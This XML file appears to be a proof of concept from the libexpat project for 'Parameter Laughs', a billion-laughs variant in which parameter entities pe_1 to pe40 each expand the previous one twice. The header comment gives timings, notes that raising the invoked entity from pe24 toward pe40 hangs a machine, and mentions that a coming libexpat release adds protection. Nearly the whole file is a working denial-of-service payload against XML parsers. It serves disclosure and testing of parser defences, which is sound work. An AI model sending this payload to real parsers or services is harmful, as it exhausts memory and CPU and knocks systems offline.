1<?xml version="1.0"?> 2<!-- 3 Copyright (C) 2020 Sebastian Pipping <[email protected]> 4 v3.1 2020-06-21, not (yet) to be published 5 6 "Parameter Laughs", i.e. variant of Billion Laughs Attack 7 using parameter entities the other way around 8 9 Use of "%pe24;" below makes the XML processor (e.g. "xmlwf -p < file.xml" or 10 "xmllint file.xml > /dev/null") take 3 to 12 seconds on my machine. 11 Increase to "%pe25;" and beyond carefully: use of "%pe40;" makes my machine 12 need a hard reset. 13 14 Note that unlike libxml2, libexpat does not have any protection against 15 billion laughs attacks to this day, so it's not a new vulnerability 16 with regard to libexpat. Upcoming release libexpat 2.4.0 will have 17 protection against this family of attacks. 18--> 19<!DOCTYPE r [ 20 <!ENTITY % pe_1 "<!---->"> 21 <!ENTITY % pe_2 "%pe_1;<!---->%pe_1;"> 22 <!ENTITY % pe_3 "%pe_2;<!---->%pe_2;"> 23 <!ENTITY % pe_4 "%pe_3;<!---->%pe_3;"> 24 <!ENTITY % pe_5 "%pe_4;<!---->%pe_4;"> 25 <!ENTITY % pe_6 "%pe_5;<!---->%pe_5;"> 26 <!ENTITY % pe_7 "%pe_6;<!---->%pe_6;"> 27 <!ENTITY % pe_8 "%pe_7;<!---->%pe_7;"> 28 <!ENTITY % pe_9 "%pe_8;<!---->%pe_8;"> 29 <!ENTITY % pe10 "%pe_9;<!---->%pe_9;"> 30 <!ENTITY % pe11 "%pe10;<!---->%pe10;"> 31 <!ENTITY % pe12 "%pe11;<!---->%pe11;"> 32 <!ENTITY % pe13 "%pe12;<!---->%pe12;"> 33 <!ENTITY % pe14 "%pe13;<!---->%pe13;"> 34 <!ENTITY % pe15 "%pe14;<!---->%pe14;"> 35 <!ENTITY % pe16 "%pe15;<!---->%pe15;"> 36 <!ENTITY % pe17 "%pe16;<!---->%pe16;"> 37 <!ENTITY % pe17 "%pe16;<!---->%pe16;"> 38 <!ENTITY % pe18 "%pe17;<!---->%pe17;"> 39 <!ENTITY % pe19 "%pe18;<!---->%pe18;"> 40 <!ENTITY % pe20 "%pe19;<!---->%pe19;"> 41 <!ENTITY % pe21 "%pe20;<!---->%pe20;"> 42 <!ENTITY % pe22 "%pe21;<!---->%pe21;"> 43 <!ENTITY % pe23 "%pe22;<!---->%pe22;"> 44 <!ENTITY % pe24 "%pe23;<!---->%pe23;"> 45 <!ENTITY % pe25 "%pe24;<!---->%pe24;"> 46 <!ENTITY % pe26 "%pe25;<!---->%pe25;"> 47 <!ENTITY % pe27 "%pe26;<!---->%pe26;"> 48 <!ENTITY % pe28 "%pe27;<!---->%pe27;"> 49 <!ENTITY % pe29 "%pe28;<!---->%pe28;"> 50 <!ENTITY % pe30 "%pe29;<!---->%pe29;"> 51 <!ENTITY % pe31 "%pe30;<!---->%pe30;"> 52 <!ENTITY % pe32 "%pe31;<!---->%pe31;"> 53 <!ENTITY % pe33 "%pe32;<!---->%pe32;"> 54 <!ENTITY % pe34 "%pe33;<!---->%pe33;"> 55 <!ENTITY % pe35 "%pe34;<!---->%pe34;"> 56 <!ENTITY % pe36 "%pe35;<!---->%pe35;"> 57 <!ENTITY % pe37 "%pe36;<!---->%pe36;"> 58 <!ENTITY % pe38 "%pe37;<!---->%pe37;"> 59 <!ENTITY % pe39 "%pe38;<!---->%pe38;"> 60 <!ENTITY % pe40 "%pe39;<!---->%pe39;"> 61 %pe24; <!-- not at full potential, increase towards "%pe40;" carefully --> 62]> 63<r/> 64